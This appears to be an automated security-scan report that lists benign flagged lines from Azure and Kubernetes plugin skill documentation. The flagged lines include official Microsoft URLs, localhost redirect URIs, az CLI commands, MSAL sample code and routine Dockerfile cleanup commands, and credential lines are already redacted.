  • Network accessline 54
    }     homePageUrl: 'https://myapp.azurewebsites.net'     logoutUrl: 'https://myapp.azurewebsites.net/signout-oidc'
  • Network accessline 55
    homePageUrl: 'https://myapp.azurewebsites.net'
  • Network accessline 56
    logoutUrl: 'https://myapp.azurewebsites.net/signout-oidc'
  • Network accessline 65
    publicClient: {     redirectUris: [       'http://localhost'
  • Network accessline 66
    redirectUris: [       'http://localhost'       'myapp://auth'
  • Network accessline 67
    'http://localhost'
  • Network accessline 68
    'myapp://auth'       'https://login.microsoftonline.com/common/oauth2/nativeclient'     ]
  • Network accessline 69
    'https://login.microsoftonline.com/common/oauth2/nativeclient'
  • Network accessline 175
    // Information URLs   info: {     marketingUrl: 'https://myapp.example.com'
  • Network accessline 176
    info: {     marketingUrl: 'https://myapp.example.com'     privacyStatementUrl: 'https://myapp.example.com/privacy'
  • Network accessline 177
    marketingUrl: 'https://myapp.example.com'
  • Network accessline 178
    privacyStatementUrl: 'https://myapp.example.com/privacy'
  • Network accessline 179
    supportUrl: 'https://myapp.example.com/support'
  • Network accessline 180
    termsOfServiceUrl: 'https://myapp.example.com/terms'

harness/claude-code/plugins/azure-governance/skills/azure-entra-app-registration/references/api-permissions.md

  • Network accessline 49
    Examples: https://graph.microsoft.com/User.Read
  • Network accessline 50
    https://graph.microsoft.com/User.Read
  • Network accessline 51
    https://graph.microsoft.com/Mail.Send
  • Network accessline 60
    https://graph.microsoft.com/.default
  • Network accessline 134
    1. Visit https://developer.microsoft.com/graph/graph-explorer
  • Network accessline 140
    Visit: https://learn.microsoft.com/en-us/graph/permissions-reference
  • Network accessline 258
    [Credential-related source omitted]
  • Network accessline 259
    [Credential-related source omitted]
  • Network accessline 334
    **Note:** Permission IDs may change. Always verify against the official [Microsoft Graph Permissions Reference](https://learn.microsoft.com/en-us/graph/permissions-reference) for the most current values.
  • Network accessline 338
    - [Microsoft Graph Permissions Reference](https://learn.microsoft.com/en-us/graph/permissions-reference)
  • Network accessline 339
    - [Permission Types](https://learn.microsoft.com/en-us/entra/identity-platform/permissions-consent-overview)
  • Network accessline 340
    - [Admin Consent Workflow](https://learn.microsoft.com/en-us/entra/identity/enterprise-apps/configure-admin-consent-workflow)
  • Network accessline 341
    - [Consent Framework](https://learn.microsoft.com/en-us/entra/identity-platform/consent-framework)

harness/claude-code/plugins/azure-governance/skills/azure-entra-app-registration/references/auth-best-practices.md

  • Network accessline 3
    > Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 122
    - [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview)
  • Network accessline 123
    - [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview)
  • Network accessline 124
    - [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview)
  • Network accessline 125
    - [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 126
    - [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme)
  • Network accessline 127
    - [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme)
  • Network accessline 128
    - [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)

harness/claude-code/plugins/azure-governance/skills/azure-entra-app-registration/references/cli-commands.md

  • Network accessline 29
    az ad app create \   --display-name "MyWebApp" \   --web-redirect-uris "https://myapp.com/callback" \
  • Network accessline 30
    --display-name "MyWebApp" \   --web-redirect-uris "https://myapp.com/callback" \   --sign-in-audience "AzureADMyOrg"
  • Network accessline 31
    --web-redirect-uris "https://myapp.com/callback" \
  • Network accessline 37
    az ad app create \   --display-name "MySpaApp" \   --spa-redirect-uris "http://localhost:3000" \
  • Network accessline 38
    --display-name "MySpaApp" \   --spa-redirect-uris "http://localhost:3000" \   --sign-in-audience "AzureADMyOrg"
  • Network accessline 39
    --spa-redirect-uris "http://localhost:3000" \
  • Network accessline 45
    az ad app create \   --display-name "MyDesktopApp" \   --public-client-redirect-uris "http://localhost" \
  • Network accessline 46
    --display-name "MyDesktopApp" \   --public-client-redirect-uris "http://localhost" \   --sign-in-audience "AzureADMyOrg"
  • Network accessline 47
    --public-client-redirect-uris "http://localhost" \
  • Network accessline 53
    az ad app create \   --display-name "MyMultiTenantApp" \   --web-redirect-uris "https://myapp.com/callback" \
  • Network accessline 54
    --display-name "MyMultiTenantApp" \   --web-redirect-uris "https://myapp.com/callback" \   --sign-in-audience "AzureADMultipleOrgs"
  • Network accessline 55
    --web-redirect-uris "https://myapp.com/callback" \
  • Network accessline 116
    az ad app update --id $APP_ID \   --web-redirect-uris "https://myapp.com/callback" "https://myapp.com/auth"
  • Network accessline 117
    --web-redirect-uris "https://myapp.com/callback" "https://myapp.com/auth"
  • Network accessline 122
    az ad app update --id $APP_ID \   --spa-redirect-uris "http://localhost:3000" "http://localhost:5000"
  • Network accessline 123
    --spa-redirect-uris "http://localhost:3000" "http://localhost:5000"
  • Network accessline 128
    az ad app update --id $APP_ID \   --public-client-redirect-uris "http://localhost" "myapp://auth"
  • Network accessline 129
    --public-client-redirect-uris "http://localhost" "myapp://auth"
  • Network accessline 364
    # Variables APP_NAME="MyApplication" REDIRECT_URI="http://localhost:3000"
  • Network accessline 366
    REDIRECT_URI="http://localhost:3000"

harness/claude-code/plugins/azure-governance/skills/azure-entra-app-registration/references/console-app-example.md

  • Network accessline 44
    .Create(ClientId)                     .WithAuthority(AzureCloudInstance.AzurePublic, TenantId)                     .WithRedirectUri("http://localhost")
  • Network accessline 45
    .WithAuthority(AzureCloudInstance.AzurePublic, TenantId)                     .WithRedirectUri("http://localhost")                     .Build();
  • Network accessline 46
    .WithRedirectUri("http://localhost")
  • Network accessline 87
    var response = await httpClient.GetAsync("https://graph.microsoft.com/v1.0/me");
  • Network accessline 139
    CLIENT_ID = "YOUR_APPLICATION_CLIENT_ID" TENANT_ID = "YOUR_TENANT_ID" AUTHORITY = f"https://login.microsoftonline.com/{TENANT_ID}"
  • Network accessline 140
    TENANT_ID = "YOUR_TENANT_ID" AUTHORITY = f"https://login.microsoftonline.com/{TENANT_ID}" SCOPES = ["User.Read"]
  • Network accessline 141
    AUTHORITY = f"https://login.microsoftonline.com/{TENANT_ID}"
  • Access to secretsline 190
    [Credential-related source omitted]
  • Access to secretsline 193
    [Credential-related source omitted]
  • Network accessline 197
    response = requests.get(
  • Network accessline 198
    'https://graph.microsoft.com/v1.0/me',
  • Access to secretsline 226
    [Credential-related source omitted]
  • Access to secretsline 231
    [Credential-related source omitted]
  • Network accessline 268
    auth: {         clientId: "YOUR_APPLICATION_CLIENT_ID",         authority: "https://login.microsoftonline.com/YOUR_TENANT_ID",
  • Network accessline 269
    clientId: "YOUR_APPLICATION_CLIENT_ID",         authority: "https://login.microsoftonline.com/YOUR_TENANT_ID",     }
  • Network accessline 270
    authority: "https://login.microsoftonline.com/YOUR_TENANT_ID",
  • Network accessline 280
    const authCodeUrlParameters = {         scopes: scopes,         redirectUri: "http://localhost:3000",
  • Network accessline 281
    scopes: scopes,         redirectUri: "http://localhost:3000",     };
  • Network accessline 282
    redirectUri: "http://localhost:3000",
  • Network accessline 308
    auth: {             clientId: "YOUR_APPLICATION_CLIENT_ID",             authority: "https://login.microsoftonline.com/YOUR_TENANT_ID",
  • Network accessline 309
    clientId: "YOUR_APPLICATION_CLIENT_ID",             authority: "https://login.microsoftonline.com/YOUR_TENANT_ID",             clientSecret: "YOUR_CLIENT_SECRET", // From app registration
  • Network accessline 310
    authority: "https://login.microsoftonline.com/YOUR_TENANT_ID",
  • Access to secretsline 311
    [Credential-related source omitted]
  • Network accessline 317
    const clientCredentialRequest = {         scopes: ["https://graph.microsoft.com/.default"],
  • Network accessline 318
    scopes: ["https://graph.microsoft.com/.default"],
  • Network accessline 333
    try {         const response = await axios.get('https://graph.microsoft.com/v1.0/me', options);
  • Network accessline 334
    const response = await axios.get('https://graph.microsoft.com/v1.0/me', options);
  • Network accessline 392
    - [MSAL Libraries](https://learn.microsoft.com/entra/msal/)

harness/claude-code/plugins/azure-governance/skills/azure-entra-app-registration/references/first-app-registration.md

  • Network accessline 16
    - Azure subscription (free tier works) - Azure Portal access: https://portal.azure.com
  • Network accessline 17
    - Azure Portal access: https://portal.azure.com
  • Network accessline 22
    1. Open [Azure Portal](https://portal.azure.com)
  • Network accessline 58
    **URI examples:** - Web app: `https://localhost:5001/signin-oidc`
  • Network accessline 59
    - Web app: `https://localhost:5001/signin-oidc`
  • Network accessline 60
    - SPA: `http://localhost:3000`
  • Network accessline 61
    - Console/Desktop: `http://localhost`
  • Network accessline 63
    **For your first app:** Select **"Public client/native"** and enter `http://localhost`
  • Access to secretsline 168
    [Credential-related source omitted]
  • Network accessline 187
    # Interactive login az login --scope "https://graph.microsoft.com/.default"
  • Network accessline 188
    az login --scope "https://graph.microsoft.com/.default"
  • Network accessline 190
    # Get an access token az account get-access-token --resource "https://graph.microsoft.com"
  • Network accessline 191
    az account get-access-token --resource "https://graph.microsoft.com"
  • Network accessline 213
    **Tip:** Once you get the access token, you can use [jwt.ms](https://jwt.ms) to decode it and inspect its claims.
  • Network accessline 251
    - [Microsoft Entra ID Documentation](https://learn.microsoft.com/en-us/entra/identity-platform/)

harness/claude-code/plugins/azure-governance/skills/azure-entra-app-registration/references/oauth-flows.md

  • Network accessline 26
    https://login.microsoftonline.com/{tenant}/oauth2/v2.0/authorize?
  • Network accessline 50
    https://your-app.com/callback?
  • Network accessline 62
    POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token
  • Access to secretsline 70
    [Credential-related source omitted]
  • Access to secretsline 76
    [Credential-related source omitted]
  • Network accessline 87
    GET https://graph.microsoft.com/v1.0/me
  • Access to secretsline 88
    [Credential-related source omitted]
  • Network accessline 126
    https://login.microsoftonline.com/{tenant}/oauth2/v2.0/authorize?
  • Network accessline 139
    POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token
  • Network accessline 177
    POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token
  • Network accessline 180
    client_id={application_id} &scope=https://graph.microsoft.com/.default
  • Network accessline 181
    &scope=https://graph.microsoft.com/.default
  • Access to secretsline 182
    [Credential-related source omitted]
  • Network accessline 186
    **Parameters:** - `scope`: Use `{resource}/.default` format   - For Microsoft Graph: `https://graph.microsoft.com/.default`
  • Network accessline 187
    - `scope`: Use `{resource}/.default` format   - For Microsoft Graph: `https://graph.microsoft.com/.default`   - For your API: `api://{api_app_id}/.default`
  • Network accessline 188
    - For Microsoft Graph: `https://graph.microsoft.com/.default`
  • Access to secretsline 194
    [Credential-related source omitted]
  • Network accessline 203
    GET https://graph.microsoft.com/v1.0/users
  • Access to secretsline 204
    [Credential-related source omitted]
  • Network accessline 228
    POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/devicecode
  • Network accessline 238
    "user_code": "GTHK-QPMN",   "device_code": "GMMhmHCXhWEzkobqIHGG_EnNYYsAkukHspeYUk9E8",   "verification_uri": "https://microsoft.com/devicelogin",
  • Network accessline 239
    "device_code": "GMMhmHCXhWEzkobqIHGG_EnNYYsAkukHspeYUk9E8",   "verification_uri": "https://microsoft.com/devicelogin",   "expires_in": 900,
  • Network accessline 240
    "verification_uri": "https://microsoft.com/devicelogin",
  • Network accessline 241
    "expires_in": 900,   "interval": 5,   "message": "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code GTHK-QPMN to authenticate."
  • Network accessline 242
    "interval": 5,   "message": "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code GTHK-QPMN to authenticate." }
  • Network accessline 243
    "message": "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code GTHK-QPMN to authenticate."
  • Network accessline 250
    To sign in, open https://microsoft.com/devicelogin
  • Network accessline 257
    POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token
  • Access to secretsline 278
    [Credential-related source omitted]
  • Network accessline 299
    POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token
  • Access to secretsline 306
    [Credential-related source omitted]
  • Access to secretsline 309
    [Credential-related source omitted]
  • Access to secretsline 314
    [Credential-related source omitted]
  • Network accessline 335
    {   "aud": "https://graph.microsoft.com",
  • Network accessline 336
    "aud": "https://graph.microsoft.com",
  • Network accessline 337
    "iss": "https://sts.windows.net/{tenant}/",
  • Network accessline 374
    https://graph.microsoft.com/User.Read
  • Network accessline 375
    https://graph.microsoft.com/Mail.Send
  • Network accessline 398
    [OAuth 2.0 spec](https://www.rfc-editor.org/rfc/rfc6749)

harness/claude-code/plugins/azure-governance/skills/azure-entra-app-registration/references/troubleshooting.md

  • Network accessline 20
    AADSTS50011: The redirect URI 'http://localhost:3000' specified in the request
  • Network accessline 30
    Registered: https://myapp.com/callback
  • Network accessline 31
    Request:    https://myapp.com/callback/  ❌ (trailing slash)
  • Network accessline 32
    Request:    https://MyApp.com/callback   ❌ (case difference)
  • Network accessline 33
    Request:    https://myapp.com/callback   ✅
  • Network accessline 39
    # CLI:    az ad app update --id $APP_ID \      --web-redirect-uris "http://localhost:3000" "https://myapp.com/callback"
  • Network accessline 40
    az ad app update --id $APP_ID       --web-redirect-uris "http://localhost:3000" "https://myapp.com/callback"
  • Network accessline 41
    --web-redirect-uris "http://localhost:3000" "https://myapp.com/callback"
  • Network accessline 177
    Unless the the access token is encrypted, you can decode and view its claims securely at https://jwt.ms. **Don't** use any other website to decode an access token. Compare the claims in the token with the app registration's configuration to
  • Network accessline 183
    **Tool:** https://jwt.ms
  • Network accessline 268
    - [Microsoft Q&A](https://learn.microsoft.com/answers/)
  • Network accessline 269
    - [Microsoft Identity Platform Documentation](https://learn.microsoft.com/entra/identity-platform/)

harness/claude-code/plugins/azure-governance/skills/azure-quotas/SKILL.md

  • Network accessline 52
    | **Key Commands** | `az quota list`, `az quota show`, `az quota usage list`, `az quota usage show` | | **Complete CLI Reference** | [commands.md](./references/commands.md) | | **Azure Portal** | [My quotas](https://portal.azure.com/#blade/
  • Network accessline 53
    | **Complete CLI Reference** | [commands.md](./references/commands.md) | | **Azure Portal** | [My quotas](https://portal.azure.com/#blade/Microsoft_Azure_Capacity/QuotaMenuBlade/myQuotas) - Use only as fallback | | **REST API** | Microsoft.
  • Network accessline 54
    | **Azure Portal** | [My quotas](https://portal.azure.com/#blade/Microsoft_Azure_Capacity/QuotaMenuBlade/myQuotas) - Use only as fallback |
  • Network accessline 59
    > **⚠<U+FE0F> ALWAYS USE CLI FIRST** > > REST API and Portal can show misleading "No Limit" values — this does **not** mean unlimited capacity. It means the quota API doesn't support that resource type. Always start with `az quota` commands; fall 
  • Network accessline 60
    > > REST API and Portal can show misleading "No Limit" values — this does **not** mean unlimited capacity. It means the quota API doesn't support that resource type. Always start with `az quota` commands; fall back to [Azure service limits 
  • Network accessline 61
    > REST API and Portal can show misleading "No Limit" values — this does **not** mean unlimited capacity. It means the quota API doesn't support that resource type. Always start with `az quota` commands; fall back to [Azure service limits do
  • Network accessline 243
    | REST API "No Limit" | Misleading — not unlimited | Use CLI instead; see warning in Quick Reference | | `ExtensionNotFound` | Quota extension not installed | `az extension add --name quota` | | `BadRequest` | Resource provider not supporte
  • Network accessline 244
    | `ExtensionNotFound` | Quota extension not installed | `az extension add --name quota` | | `BadRequest` | Resource provider not supported by quota API | Check [service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-man
  • Network accessline 245
    | `BadRequest` | Resource provider not supported by quota API | Check [service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) |
  • Network accessline 253
    **Known unsupported providers:** - ❌ Microsoft.DocumentDB (Cosmos DB) - Use Portal or [Cosmos DB limits docs](https://learn.microsoft.com/en-us/azure/cosmos-db/concepts-limits)
  • Network accessline 254
    - ❌ Microsoft.DocumentDB (Cosmos DB) - Use Portal or [Cosmos DB limits docs](https://learn.microsoft.com/en-us/azure/cosmos-db/concepts-limits)
  • Network accessline 268
    |----------|------| | **CLI Commands Reference** | [commands.md](./references/commands.md) - Complete syntax, parameters, examples | | **Azure Quotas Overview** | [Microsoft Learn](https://learn.microsoft.com/en-us/azure/quotas/quotas-overv
  • Network accessline 269
    | **CLI Commands Reference** | [commands.md](./references/commands.md) - Complete syntax, parameters, examples | | **Azure Quotas Overview** | [Microsoft Learn](https://learn.microsoft.com/en-us/azure/quotas/quotas-overview) | | **Service L
  • Network accessline 270
    | **Azure Quotas Overview** | [Microsoft Learn](https://learn.microsoft.com/en-us/azure/quotas/quotas-overview) |
  • Network accessline 271
    | **Service Limits Documentation** | [Azure subscription limits](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) |
  • Network accessline 272
    | **Azure Portal - My Quotas** | [Portal Link](https://portal.azure.com/#blade/Microsoft_Azure_Capacity/QuotaMenuBlade/myQuotas) |
  • Network accessline 273
    | **Request Quota Increases** | [How to request increases](https://learn.microsoft.com/en-us/azure/quotas/quickstart-increase-quota-portal) |

harness/claude-code/plugins/azure-governance/skills/azure-quotas/references/commands.md

  • Network accessline 18
    > **Required workflow:** > 1. **FIRST:** Try `az quota list` / `az quota show` / `az quota usage show` > 2. **If CLI returns `BadRequest`:** Resource provider doesn't support quota API → use [Azure service limits docs](https://learn.microso
  • Network accessline 19
    > 1. **FIRST:** Try `az quota list` / `az quota show` / `az quota usage show` > 2. **If CLI returns `BadRequest`:** Resource provider doesn't support quota API → use [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-
  • Network accessline 20
    > 2. **If CLI returns `BadRequest`:** Resource provider doesn't support quota API → use [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits)
  • Network accessline 31
    > - ❌ This is NOT unlimited capacity > - ✅ It means quota API doesn't support that resource type > - ✅ Check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-li
  • Network accessline 32
    > - ✅ It means quota API doesn't support that resource type > - ✅ Check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) for actual limits > - ✅ Regiona
  • Network accessline 33
    > - ✅ Check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) for actual limits
  • Network accessline 268
    **Workarounds**: - Check [Azure subscription limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits)
  • Network accessline 269
    - Check [Azure subscription limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits)
  • Network accessline 295
    > **DO NOT assume unlimited capacity. Always:** > 1. Use `az quota` CLI commands first (preferred method) > 2. If CLI returns `BadRequest`, check [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-ma
  • Network accessline 296
    > 1. Use `az quota` CLI commands first (preferred method) > 2. If CLI returns `BadRequest`, check [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limi
  • Network accessline 297
    > 2. If CLI returns `BadRequest`, check [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits)
  • Network accessline 303
    | Error | Cause | Solution | |-------|-------|----------| | `BadRequest` | Provider not supported by quota API | Use CLI (preferred) or check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/managem
  • Network accessline 304
    |-------|-------|----------| | `BadRequest` | Provider not supported by quota API | Use CLI (preferred) or check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-servic
  • Network accessline 305
    | `BadRequest` | Provider not supported by quota API | Use CLI (preferred) or check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) |

harness/claude-code/plugins/azure-governance/skills/azure-quotas/scripts/check-quota.ps1

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/azure-governance/skills/azure-quotas/scripts/check-quota.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/claude-code/plugins/azure-governance/skills/azure-role-selector/SKILL.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration

harness/claude-code/plugins/azure-governance/skills/azure-well-architected-review/SKILL.md

  • Network accessline 29
    ### Step 1: Load Well-Architected Framework Reference Fetch current Azure WAF best practices: - `https://learn.microsoft.com/en-us/azure/well-architected/`
  • Network accessline 30
    Fetch current Azure WAF best practices: - `https://learn.microsoft.com/en-us/azure/well-architected/` - Service guides for the Azure services in use (`https://learn.microsoft.com/en-us/azure/well-architected/service-guides/`)
  • Network accessline 31
    - `https://learn.microsoft.com/en-us/azure/well-architected/`
  • Network accessline 32
    - Service guides for the Azure services in use (`https://learn.microsoft.com/en-us/azure/well-architected/service-guides/`)

harness/claude-code/plugins/azure-kubernetes-development/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "paulasilvatech"   },   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 7
    },   "repository": "https://github.com/paulasilvatech/copilot-primitives",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/azure-kubernetes-development/skills/azure-airunway-aks-setup/references/steps/step-5-deploy.md

  • Dangerous shell operationline 30
    trap 'rm -f "$hf_token_file"' EXIT
  • Access to secretsline 34
    [Credential-related source omitted]

harness/claude-code/plugins/azure-kubernetes-development/skills/azure-airunway-aks-setup/references/steps/step-6-summary.md

  • Network accessline 22
    echo "Endpoint not yet available — model may still be starting" else   curl -X POST "${ENDPOINT}/v1/chat/completions" \
  • Network accessline 23
    else   curl -X POST "${ENDPOINT}/v1/chat/completions" \     -H "Content-Type: application/json" \
  • Network accessline 24
    curl -X POST "${ENDPOINT}/v1/chat/completions" \
  • Network accessline 30
    > **If the endpoint is a cluster-internal URL** (e.g., `http://svc-name.namespace:port`), set up port-forwarding first:
  • Network accessline 35
    > > kubectl port-forward svc/<service-name> 8080:${SERVICE_PORT} -n <namespace> & > # Then use http://localhost:8080 as the endpoint
  • Network accessline 36
    > kubectl port-forward svc/<service-name> 8080:${SERVICE_PORT} -n <namespace> & > # Then use http://localhost:8080 as the endpoint > ```
  • Network accessline 37
    > # Then use http://localhost:8080 as the endpoint

harness/claude-code/plugins/azure-kubernetes-development/skills/azure-argocd-cli/references/commands.md

  • Network accessline 7
    # Add ArgoCD Helm repo helm repo add argo https://argoproj.github.io/argo-helm
  • Network accessline 8
    helm repo add argo https://argoproj.github.io/argo-helm
  • Network accessline 40
    # Or add via CLI argocd repo add https://github.com/${GITHUB_ORG}/open-horizons-platform.git \
  • Network accessline 41
    argocd repo add https://github.com/${GITHUB_ORG}/open-horizons-platform.git \

harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/knowledge-packs/frameworks/aspnet-core.md

  • Network accessline 180
    - **Default port:** 8080 (since .NET 8; previously 80 in .NET 7 and earlier) - **Env var override:** `ASPNETCORE_URLS=http://+:8080` or `ASPNETCORE_HTTP_PORTS=8080`
  • Network accessline 181
    - **Env var override:** `ASPNETCORE_URLS=http://+:8080` or `ASPNETCORE_HTTP_PORTS=8080`
  • Network accessline 182
    - **Code override:** `builder.WebHost.UseUrls("http://+:8080")` in `Program.cs`

harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/knowledge-packs/frameworks/django.md

  • Access to secretsline 158
    [Credential-related source omitted]
  • Network accessline 162
    Gunicorn logs the port on startup: `Listening at: http://0.0.0.0:8000`

harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/knowledge-packs/frameworks/fastapi.md

  • Access to secretsline 155
    [Credential-related source omitted]
  • Network accessline 157
    Uvicorn logs the port on startup: `Uvicorn running on http://0.0.0.0:8000`

harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/knowledge-packs/frameworks/flask.md

  • Access to secretsline 82
    [Credential-related source omitted]
  • Access to secretsline 168
    [Credential-related source omitted]
  • Network accessline 172
    Gunicorn logs the port on startup: `Listening at: http://0.0.0.0:8000`

harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/knowledge-packs/frameworks/go.md

  • Network accessline 108
    config.BeforeConnect = func(ctx context.Context, cfg *pgx.ConnConfig) error {     token, err := cred.GetToken(ctx, policy.TokenRequestOptions{         Scopes: []string{"https://ossrdbms-aad.database.windows.net/.default"},
  • Network accessline 109
    token, err := cred.GetToken(ctx, policy.TokenRequestOptions{         Scopes: []string{"https://ossrdbms-aad.database.windows.net/.default"},     })
  • Network accessline 110
    Scopes: []string{"https://ossrdbms-aad.database.windows.net/.default"},
  • Network accessline 199
    The `./cmd/server` path is conventional for Go projects using the [Standard Go Project Layout](https://github.com/golang-standards/project-layout). Adjust to match the actual `main` package location.

harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/phases/quick-deploy.md

  • Network accessline 165
    If missing: `kubectl apply -f https://github.com/kubernetes-sigs/gateway-api/releases/latest/download/standard-install.yaml`
  • Network accessline 202
    Wait up to 3 minutes for external IP, then curl the health endpoint.

harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/references/detection.md

  • Network accessline 32
    | Source code | `app.listen(<number>)`, `.listen(<number>)`, `server.port=<number>` | `app.listen(3000)` | | `application.properties` / `application.yml` (Java) | `server.port=<number>` | `server.port=8080` | | `appsettings.json` (.NET) | `
  • Network accessline 33
    | `application.properties` / `application.yml` (Java) | `server.port=<number>` | `server.port=8080` | | `appsettings.json` (.NET) | `"Urls": "http://*:<number>"` | `"Urls": "http://*:8080"` | | Framework defaults | Use known defaults if not
  • Network accessline 34
    | `appsettings.json` (.NET) | `"Urls": "http://*:<number>"` | `"Urls": "http://*:8080"` |

harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/references/workload-identity.md

  • Network accessline 39
    Federated Credential   ├── Issuer:  https://oidc.prod-aks.azure.com/<tenant-id>/<cluster-id>
  • Network accessline 40
    ├── Issuer:  https://oidc.prod-aks.azure.com/<tenant-id>/<cluster-id>
  • Network accessline 102
    [Credential-related source omitted]
  • Network accessline 103
    [Credential-related source omitted]
  • Network accessline 116
    [Credential-related source omitted]
  • Network accessline 118
    new TokenRequestContext(new[] { "https://ossrdbms-aad.database.windows.net/.default" }));
  • Network accessline 182
    [Credential-related source omitted]
  • Network accessline 183
    [Credential-related source omitted]
  • Access to secretsline 189
    [Credential-related source omitted]
  • Network accessline 196
    [Credential-related source omitted]
  • Network accessline 198
    new TokenRequestContext(new[] { "https://redis.azure.com/.default" }));

harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/templates/dockerfiles/dotnet.Dockerfile

  • Network accessline 56
    ENV ASPNETCORE_URLS="http://+:8080" \
  • Network accessline 60
    # No HEALTHCHECK: the aspnet runtime image does not include curl or wget.
  • Network accessline 61
    # Kubernetes liveness/readiness probes (configured in deployment.yaml) handle # health checking in AKS. For local Docker usage, install wget or add # app.MapHealthChecks("/healthz") and use a custom health check binary.
  • Network accessline 62
    # health checking in AKS. For local Docker usage, install wget or add

harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/templates/dockerfiles/dotnet.dockerignore

  • Access to secretsline 7
    [Credential-related source omitted]

harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/templates/dockerfiles/go.dockerignore

  • Access to secretsline 9
    [Credential-related source omitted]

harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/templates/dockerfiles/java.Dockerfile

  • Network accessline 74
    # No HEALTHCHECK: the JRE Alpine image does not include wget or curl.

harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/templates/dockerfiles/java.dockerignore

  • Access to secretsline 8
    [Credential-related source omitted]

harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/templates/dockerfiles/node.dockerignore

  • Access to secretsline 4
    [Credential-related source omitted]

harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/templates/dockerfiles/python.Dockerfile

  • Network accessline 60
    # HEALTHCHECK is omitted — Kubernetes liveness/readiness probes handle health # checks in AKS. Adding a Dockerfile HEALTHCHECK would require installing curl # in the runtime image, increasing size and attack surface.

harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/templates/dockerfiles/python.dockerignore

  • Access to secretsline 8
    [Credential-related source omitted]

harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/templates/dockerfiles/rust.Dockerfile

  • Dangerous shell operationline 30
    && rm -rf /var/lib/apt/lists/*
  • Dangerous shell operationline 41
    && rm -rf src target/release/deps/app* target/release/app*

harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/templates/dockerfiles/rust.dockerignore

  • Access to secretsline 3
    [Credential-related source omitted]

harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/templates/mermaid/summary-dashboard.md

  • Network accessline 17
    | Resource | Type | Name | Portal Link | |----------|------|------|-------------| | Resource Group | resourceGroups | {{RG_NAME}} | `https://portal.azure.com/...` |
  • Network accessline 18
    |----------|------|------|-------------| | Resource Group | resourceGroups | {{RG_NAME}} | `https://portal.azure.com/...` | | AKS Cluster | managedClusters | {{AKS_NAME}} | `https://portal.azure.com/...` |
  • Network accessline 19
    | Resource Group | resourceGroups | {{RG_NAME}} | `https://portal.azure.com/...` |
  • Network accessline 20
    | AKS Cluster | managedClusters | {{AKS_NAME}} | `https://portal.azure.com/...` |
  • Network accessline 21
